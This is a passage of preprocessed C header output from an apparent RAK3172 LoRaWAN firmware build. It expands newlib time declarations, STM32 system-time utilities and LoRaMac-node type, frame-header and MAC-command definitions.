"/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/types.h" 1 3 # 225 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/types.h" 2 3 #undef __need_inttypes # 29 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/time.h" 2 3 # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/timespec.h" 1 3 # 35 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/timespec.h" 3 #define _SYS_TIMESPEC_H_ # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_timespec.h" 1 3 # 37 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_timespec.h" 3 #define _SYS__TIMESPEC_H_ # 47 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_timespec.h" 3 struct timespec { time_t tv_sec; long tv_nsec; }; # 39 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/timespec.h" 2 3 # 58 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/timespec.h" 3 struct itimerspec { struct timespec it_interval; struct timespec it_value; }; # 30 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/time.h" 2 3 struct tm { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year; int tm_wday; int tm_yday; int tm_isdst; }; clock_t clock (void); double difftime (time_t _time2, time_t _time1); time_t mktime (struct tm *_timeptr); time_t time (time_t *_timer); char *asctime (const struct tm *_tblock); char *ctime (const time_t *_time); struct tm *gmtime (const time_t *_timer); struct tm *localtime (const time_t *_timer); size_t strftime (char *restrict _s, size_t _maxsize, const char *restrict _fmt, const struct tm *restrict _t); char *asctime_r (const struct tm *restrict, char *restrict); char *ctime_r (const time_t *, char *); struct tm *gmtime_r (const time_t *restrict, struct tm *restrict); struct tm *localtime_r (const time_t *restrict, struct tm *restrict); # 103 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/time.h" 3 void _tzset_r (struct _reent *); typedef struct __tzrule_struct { char ch; int m; int n; int d; int s; time_t change; long offset; } __tzrule_type; typedef struct __tzinfo_struct { int __tznorth; int __tzyear; __tzrule_type __tzrule[2]; } __tzinfo_type; __tzinfo_type *__gettzinfo (void); # 240 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/time.h" 3 #define CLOCK_ENABLED 1 #define CLOCK_DISABLED 0 #define CLOCK_ALLOWED 1 #define CLOCK_DISALLOWED 0 #define TIMER_ABSTIME 4 #define CLOCK_REALTIME ((clockid_t) 1) # 60 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_systime.h" 2 # 70 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_systime.h" #define TM_DAYS_IN_LEAP_YEAR ( ( uint32_t ) 366U ) #define TM_DAYS_IN_YEAR ( ( uint32_t ) 365U ) #define TM_SECONDS_IN_1DAY ( ( uint32_t )86400U ) #define TM_SECONDS_IN_1HOUR ( ( uint32_t ) 3600U ) #define TM_SECONDS_IN_1MINUTE ( ( uint32_t ) 60U ) #define TM_MINUTES_IN_1HOUR ( ( uint32_t ) 60U ) #define TM_HOURS_IN_1DAY ( ( uint32_t ) 24U ) #define TM_MONTH_JANUARY ( ( uint8_t ) 0U ) #define TM_MONTH_FEBRUARY ( ( uint8_t ) 1U ) #define TM_MONTH_MARCH ( ( uint8_t ) 2U ) #define TM_MONTH_APRIL ( ( uint8_t ) 3U ) #define TM_MONTH_MAY ( ( uint8_t ) 4U ) #define TM_MONTH_JUNE ( ( uint8_t ) 5U ) #define TM_MONTH_JULY ( ( uint8_t ) 6U ) #define TM_MONTH_AUGUST ( ( uint8_t ) 7U ) #define TM_MONTH_SEPTEMBER ( ( uint8_t ) 8U ) #define TM_MONTH_OCTOBER ( ( uint8_t ) 9U ) #define TM_MONTH_NOVEMBER ( ( uint8_t )10U ) #define TM_MONTH_DECEMBER ( ( uint8_t )11U ) #define TM_WEEKDAY_SUNDAY ( ( uint8_t )0U ) #define TM_WEEKDAY_MONDAY ( ( uint8_t )1U ) #define TM_WEEKDAY_TUESDAY ( ( uint8_t )2U ) #define TM_WEEKDAY_WEDNESDAY ( ( uint8_t )3U ) #define TM_WEEKDAY_THURSDAY ( ( uint8_t )4U ) #define TM_WEEKDAY_FRIDAY ( ( uint8_t )5U ) #define TM_WEEKDAY_SATURDAY ( ( uint8_t )6U ) #define UNIX_GPS_EPOCH_OFFSET 315964800 # 122 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_systime.h" # 122 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_systime.h" typedef struct SysTime_s { uint32_t Seconds; int16_t SubSeconds; }SysTime_t; typedef struct { void (*BKUPWrite_Seconds) ( uint32_t Seconds); uint32_t (*BKUPRead_Seconds) ( void ); void (*BKUPWrite_SubSeconds) ( uint32_t SubSeconds); uint32_t (*BKUPRead_SubSeconds) ( void ); uint32_t (*GetCalendarTime)( uint16_t* SubSeconds ); } UTIL_SYSTIM_Driver_s; # 156 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_systime.h" extern const UTIL_SYSTIM_Driver_s UTIL_SYSTIMDriver; # 174 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_systime.h" SysTime_t SysTimeAdd( SysTime_t a, SysTime_t b ); # 184 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_systime.h" SysTime_t SysTimeSub( SysTime_t a, SysTime_t b ); void SysTimeSet( SysTime_t sysTime ); SysTime_t SysTimeGet( void ); SysTime_t SysTimeGetMcuTime( void ); # 214 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_systime.h" uint32_t SysTimeToMs( SysTime_t sysTime ); # 223 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_systime.h" SysTime_t SysTimeFromMs( uint32_t timeMs ); uint32_t SysTimeMkTime( const struct tm* localtime ); # 240 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_systime.h" void SysTimeLocalTime( const uint32_t timestamp, struct tm *localtime ); # 32 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/systime.h" 2 # 47 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" 2 #define LORAMAC_CRYPTO_UNICAST_KEYS 0 #define LORAMAC_CRYPTO_MULTICAST_KEYS 127 #define LORAMAC_MAX_MC_CTX 4 # 77 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define DR_0 0 # 93 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define DR_1 1 # 109 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define DR_2 2 # 125 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define DR_3 3 # 141 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define DR_4 4 # 157 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define DR_5 5 # 173 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define DR_6 6 # 189 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define DR_7 7 # 205 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define DR_8 8 # 221 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define DR_9 9 # 237 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define DR_10 10 # 253 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define DR_11 11 # 269 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define DR_12 12 # 285 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define DR_13 13 # 301 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define DR_14 14 # 317 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define DR_15 15 # 335 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define TX_POWER_0 0 # 351 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define TX_POWER_1 1 # 367 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define TX_POWER_2 2 # 383 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define TX_POWER_3 3 # 399 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define TX_POWER_4 4 # 415 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define TX_POWER_5 5 # 431 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define TX_POWER_6 6 # 447 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define TX_POWER_7 7 # 463 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define TX_POWER_8 8 # 479 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define TX_POWER_9 9 # 495 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define TX_POWER_10 10 # 511 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define TX_POWER_11 11 # 527 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define TX_POWER_12 12 # 543 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define TX_POWER_13 13 # 559 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define TX_POWER_14 14 #define TX_POWER_15 15 typedef enum DeviceClass_e { CLASS_A = 0x00, CLASS_B = 0x01, CLASS_C = 0x02, }DeviceClass_t; typedef enum eFType { FRAME_TYPE_A, FRAME_TYPE_B, FRAME_TYPE_C, FRAME_TYPE_D, }FType_t; typedef enum eFCntIdentifier { FCNT_UP = 0, N_FCNT_DOWN, A_FCNT_DOWN, FCNT_DOWN, MC_FCNT_DOWN_0, MC_FCNT_DOWN_1, MC_FCNT_DOWN_2, MC_FCNT_DOWN_3, }FCntIdentifier_t; typedef enum eKeyIdentifier { APP_KEY = 0, NWK_KEY, J_S_INT_KEY, J_S_ENC_KEY, F_NWK_S_INT_KEY, S_NWK_S_INT_KEY, NWK_S_ENC_KEY, APP_S_KEY, MC_ROOT_KEY, MC_KE_KEY = 127, MC_KEY_0, MC_APP_S_KEY_0, MC_NWK_S_KEY_0, MC_KEY_1, MC_APP_S_KEY_1, MC_NWK_S_KEY_1, MC_KEY_2, MC_APP_S_KEY_2, MC_NWK_S_KEY_2, MC_KEY_3, MC_APP_S_KEY_3, MC_NWK_S_KEY_3, SLOT_RAND_ZERO_KEY, NO_KEY, }KeyIdentifier_t; typedef enum eAddressIdentifier { MULTICAST_0_ADDR = 0, MULTICAST_1_ADDR = 1, MULTICAST_2_ADDR = 2, MULTICAST_3_ADDR = 3, UNICAST_DEV_ADDR = 4, }AddressIdentifier_t; typedef union uMcRxParams { struct { uint32_t Frequency; int8_t Datarate; uint16_t Periodicity; }ClassB; struct { uint32_t Frequency; int8_t Datarate; }ClassC; }McRxParams_t; typedef struct sMcChannelParams { # 842 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" 3 4 _Bool # 842 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" IsRemotelySetup; DeviceClass_t Class; # 850 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" 3 4 _Bool # 850 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" IsEnabled; AddressIdentifier_t GroupID; uint32_t Address; union uMcKeys { uint8_t *McKeyE; struct { uint8_t *McAppSKey; uint8_t *McNwkSKey; }Session; }McKeys; uint32_t FCountMin; uint32_t FCountMax; McRxParams_t RxParams; }McChannelParams_t; typedef struct sMulticastCtx { McChannelParams_t ChannelParams; uint32_t* DownLinkCounter; # 920 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" uint8_t PingNb; uint16_t PingPeriod; uint16_t PingOffset; }MulticastCtx_t; typedef enum eJoinReqIdentifier { REJOIN_REQ_0 = 0x00, REJOIN_REQ_1 = 0x01, REJOIN_REQ_2 = 0x02, JOIN_REQ = 0xFF, }JoinReqIdentifier_t; typedef enum eLoRaMacMoteCmd { MOTE_MAC_LINK_CHECK_REQ = 0x02, MOTE_MAC_LINK_ADR_ANS = 0x03, MOTE_MAC_DUTY_CYCLE_ANS = 0x04, MOTE_MAC_RX_PARAM_SETUP_ANS = 0x05, MOTE_MAC_DEV_STATUS_ANS = 0x06, MOTE_MAC_NEW_CHANNEL_ANS = 0x07, MOTE_MAC_RX_TIMING_SETUP_ANS = 0x08, MOTE_MAC_TX_PARAM_SETUP_ANS = 0x09, MOTE_MAC_DL_CHANNEL_ANS = 0x0A, MOTE_MAC_DEVICE_TIME_REQ = 0x0D, MOTE_MAC_PING_SLOT_INFO_REQ = 0x10, MOTE_MAC_PING_SLOT_FREQ_ANS = 0x11, MOTE_MAC_BEACON_TIMING_REQ = 0x12, MOTE_MAC_BEACON_FREQ_ANS = 0x13, }LoRaMacMoteCmd_t; typedef enum eLoRaMacSrvCmd { SRV_MAC_RESET_CONF = 0x01, SRV_MAC_LINK_CHECK_ANS = 0x02, SRV_MAC_LINK_ADR_REQ = 0x03, SRV_MAC_DUTY_CYCLE_REQ = 0x04, SRV_MAC_RX_PARAM_SETUP_REQ = 0x05, SRV_MAC_DEV_STATUS_REQ = 0x06, SRV_MAC_NEW_CHANNEL_REQ = 0x07, SRV_MAC_RX_TIMING_SETUP_REQ = 0x08, SRV_MAC_TX_PARAM_SETUP_REQ = 0x09, SRV_MAC_DL_CHANNEL_REQ = 0x0A, SRV_MAC_DEVICE_TIME_ANS = 0x0D, SRV_MAC_PING_SLOT_INFO_ANS = 0x10, SRV_MAC_PING_SLOT_CHANNEL_REQ = 0x11, SRV_MAC_BEACON_TIMING_ANS = 0x12, SRV_MAC_BEACON_FREQ_REQ = 0x13, }LoRaMacSrvCmd_t; typedef struct sBand { uint16_t DCycle; int8_t TxMaxPower; UTIL_TIMER_Time_t LastBandUpdateTime; UTIL_TIMER_Time_t LastMaxCreditAssignTime; UTIL_TIMER_Time_t TimeCredits; UTIL_TIMER_Time_t MaxTimeCredits; # 1126 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" 3 4 _Bool # 1126 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" ReadyForTransmission; }Band_t; typedef union uDrRange { int8_t Value; struct sFields { int8_t Min : 4; int8_t Max : 4; }Fields; }DrRange_t; typedef struct sChannelParams { uint32_t Frequency; uint32_t Rx1Frequency; DrRange_t DrRange; uint8_t Band; }ChannelParams_t; typedef enum eLoRaMacFrameType { FRAME_TYPE_JOIN_REQ = 0x00, FRAME_TYPE_JOIN_ACCEPT = 0x01, FRAME_TYPE_DATA_UNCONFIRMED_UP = 0x02, FRAME_TYPE_DATA_UNCONFIRMED_DOWN = 0x03, FRAME_TYPE_DATA_CONFIRMED_UP = 0x04, FRAME_TYPE_DATA_CONFIRMED_DOWN = 0x05, FRAME_TYPE_PROPRIETARY = 0x07, }LoRaMacFrameType_t; typedef enum eLoRaMacBatteryLevel { BAT_LEVEL_EXT_SRC = 0x00, BAT_LEVEL_EMPTY = 0x01, BAT_LEVEL_FULL = 0xFE, BAT_LEVEL_NO_MEASURE = 0xFF, }LoRaMacBatteryLevel_t; # 46 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" 2 # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacHeaderTypes.h" 1 # 38 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacHeaderTypes.h" #define __LORAMAC_HEADER_TYPES_H__ # 48 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacHeaderTypes.h" #define LORAMAC_MHDR_FIELD_SIZE 1 #define LORAMAC_JOIN_TYPE_FIELD_SIZE 1 #define LORAMAC_JOIN_EUI_FIELD_SIZE 8 #define LORAMAC_DEV_EUI_FIELD_SIZE 8 #define LORAMAC_DEV_NONCE_FIELD_SIZE 2 #define LORAMAC_JOIN_NONCE_FIELD_SIZE 3 #define LORAMAC_RJCOUNT_0_FIELD_SIZE 2 #define LORAMAC_RJCOUNT_1_FIELD_SIZE 2 #define LORAMAC_NET_ID_FIELD_SIZE 3 #define LORAMAC_DEV_ADDR_FIELD_SIZE 4 #define LORAMAC_DL_SETTINGS_FIELD_SIZE 1 #define LORAMAC_RX_DELAY_FIELD_SIZE 1 #define LORAMAC_CF_LIST_FIELD_SIZE 16 #define LORAMAC_FHDR_DEV_ADDR_FIELD_SIZE LORAMAC_DEV_ADDR_FIELD_SIZE #define LORAMAC_FHDR_F_CTRL_FIELD_SIZE 1 #define LORAMAC_FHDR_F_CNT_FIELD_SIZE 2 #define LORAMAC_FHDR_F_OPTS_MAX_FIELD_SIZE 15 #define LORAMAC_F_PORT_FIELD_SIZE 1 #define LORAMAC_MAC_PAYLOAD_FIELD_MAX_SIZE 242 #define LORAMAC_MIC_FIELD_SIZE 4 #define LORAMAC_JOIN_REQ_MSG_SIZE ( LORAMAC_MHDR_FIELD_SIZE + LORAMAC_JOIN_EUI_FIELD_SIZE + LORAMAC_DEV_EUI_FIELD_SIZE + LORAMAC_DEV_NONCE_FIELD_SIZE + LORAMAC_MIC_FIELD_SIZE ) # 121 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacHeaderTypes.h" #define LORAMAC_RE_JOIN_1_MSG_SIZE ( LORAMAC_MHDR_FIELD_SIZE + LORAMAC_JOIN_TYPE_FIELD_SIZE + LORAMAC_JOIN_EUI_FIELD_SIZE + LORAMAC_DEV_EUI_FIELD_SIZE + LORAMAC_RJCOUNT_1_FIELD_SIZE + LORAMAC_MIC_FIELD_SIZE ) # 131 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacHeaderTypes.h" #define LORAMAC_RE_JOIN_0_2_MSG_SIZE ( LORAMAC_MHDR_FIELD_SIZE + LORAMAC_JOIN_TYPE_FIELD_SIZE + LORAMAC_NET_ID_FIELD_SIZE + LORAMAC_DEV_EUI_FIELD_SIZE + LORAMAC_RJCOUNT_0_FIELD_SIZE + LORAMAC_MIC_FIELD_SIZE ) # 141 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacHeaderTypes.h" #define LORAMAC_JOIN_ACCEPT_FRAME_MIN_SIZE ( LORAMAC_MHDR_FIELD_SIZE + LORAMAC_JOIN_NONCE_FIELD_SIZE + LORAMAC_NET_ID_FIELD_SIZE + LORAMAC_DEV_ADDR_FIELD_SIZE + LORAMAC_DL_SETTINGS_FIELD_SIZE + LORAMAC_RX_DELAY_FIELD_SIZE + LORAMAC_MIC_FIELD_SIZE ) # 151 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacHeaderTypes.h" #define LORAMAC_JOIN_ACCEPT_FRAME_MAX_SIZE ( LORAMAC_MHDR_FIELD_SIZE + LORAMAC_JOIN_NONCE_FIELD_SIZE + LORAMAC_NET_ID_FIELD_SIZE + LORAMAC_DEV_ADDR_FIELD_SIZE + LORAMAC_DL_SETTINGS_FIELD_SIZE + LORAMAC_RX_DELAY_FIELD_SIZE + LORAMAC_CF_LIST_FIELD_SIZE + LORAMAC_MIC_FIELD_SIZE ) # 160 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacHeaderTypes.h" #define JOIN_ACCEPT_MIC_COMPUTATION_OFFSET ( LORAMAC_MHDR_FIELD_SIZE + LORAMAC_JOIN_TYPE_FIELD_SIZE + LORAMAC_JOIN_EUI_FIELD_SIZE + LORAMAC_DEV_NONCE_FIELD_SIZE ) # 173 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacHeaderTypes.h" #define LORAMAC_FRAME_PAYLOAD_OVERHEAD_SIZE ( LORAMAC_MHDR_FIELD_SIZE + ( LORAMAC_FHDR_DEV_ADDR_FIELD_SIZE + LORAMAC_FHDR_F_CTRL_FIELD_SIZE + LORAMAC_FHDR_F_CNT_FIELD_SIZE ) + LORAMAC_F_PORT_FIELD_SIZE + LORAMAC_MIC_FIELD_SIZE ) # 182 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacHeaderTypes.h" #define LORAMAC_FRAME_PAYLOAD_MIN_SIZE ( LORAMAC_MHDR_FIELD_SIZE + ( LORAMAC_FHDR_DEV_ADDR_FIELD_SIZE + LORAMAC_FHDR_F_CTRL_FIELD_SIZE + LORAMAC_FHDR_F_CNT_FIELD_SIZE ) + LORAMAC_MIC_FIELD_SIZE ) #define LORAMAC_FRAME_PAYLOAD_MAX_SIZE ( LORAMAC_MHDR_FIELD_SIZE + ( LORAMAC_FHDR_DEV_ADDR_FIELD_SIZE + LORAMAC_FHDR_F_CTRL_FIELD_SIZE + LORAMAC_FHDR_F_CNT_FIELD_SIZE ) + LORAMAC_F_PORT_FIELD_SIZE + LORAMAC_MAC_PAYLOAD_FIELD_MAX_SIZE + LORAMAC_MIC_FIELD_SIZE ) # 200 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacHeaderTypes.h" typedef union uLoRaMacDLSettings { uint8_t Value; struct sDLSettingsBits { uint8_t RX2DataRate : 4; uint8_t RX1DRoffset : 3; uint8_t OptNeg : 1; }Bits; }LoRaMacDLSettings_t; typedef union uLoRaMacHeader { uint8_t Value; struct sMacHeaderBits { uint8_t Major : 2; uint8_t RFU : 3; uint8_t MType : 3; }Bits; }LoRaMacHeader_t; typedef union uLoRaMacFrameCtrl { uint8_t Value; struct sCtrlBits { uint8_t FOptsLen : 4; uint8_t FPending : 1; uint8_t Ack : 1; uint8_t AdrAckReq : 1; uint8_t Adr : 1; }Bits; }LoRaMacFrameCtrl_t; typedef struct sLoRaMacFrameHeader { uint32_t DevAddr; LoRaMacFrameCtrl_t FCtrl; uint16_t FCnt; uint8_t FOpts[15]; }LoRaMacFrameHeader_t; # 47 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" 2 # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 1 # 53 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" #define __REGION_H__ # 62 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/boards/utilities.h" 1 # 24 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/boards/utilities.h" #define __UTILITIES_H__ # 37 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/boards/utilities.h" #define SUCCESS 1 #define FAIL 0 # 52 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/boards/utilities.h" #define MIN(a,b) ( ( ( a ) < ( b ) ) ? ( a ) : ( b ) ) # 63 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/boards/utilities.h" #define MAX(a,b) ( ( ( a ) > ( b ) ) ? ( a ) : ( b ) ) # 72 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/boards/utilities.h" #define POW2(n) ( 1 << n ) typedef union Version_u { struct Version_s { uint8_t Revision; uint8_t Patch; uint8_t Minor; uint8_t Major; }Fields; uint32_t Value; }Version_t; void srand1( uint32_t seed ); # 103 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/boards/utilities.h" int32_t randr( int32_t min, int32_t max ); # 114 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/boards/utilities.h" void memcpy1( uint8_t *dst, const uint8_t *src, uint16_t size ); # 123 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/boards/utilities.h" void memcpyr( uint8_t *dst, const uint8_t *src, uint16_t size ); # 134 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/boards/utilities.h" void memset1( uint8_t *dst, uint8_t value, uint16_t size ); int8_t Nibble2HexChar( uint8_t a ); # 152 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/boards/utilities.h" uint32_t Crc32( uint8_t *buffer, uint16_t length ); uint32_t Crc32Init( void ); # 171 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/boards/utilities.h" uint32_t Crc32Update( uint32_t crcInit, uint8_t *buffer, uint16_t length ); # 180 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/boards/utilities.h" uint32_t Crc32Finalize( uint32_t crc ); #define CRITICAL_SECTION_BEGIN() uint32_t mask; BoardCriticalSectionBegin( &mask ) #define CRITICAL_SECTION_END() BoardCriticalSectionEnd( &mask ) # 203 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/boards/utilities.h" void BoardCriticalSectionBegin( uint32_t *mask ); void BoardCriticalSectionEnd( uint32_t *mask ); # 63 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/Region.h" 2 # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 1 # 67 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" #define __LORAMAC_H__ # 79 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" 1 # 80 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMac.h" 2 # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionNvm.h" 1 # 34 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionNvm.h" #define __REGIONNVM_H__ # 45 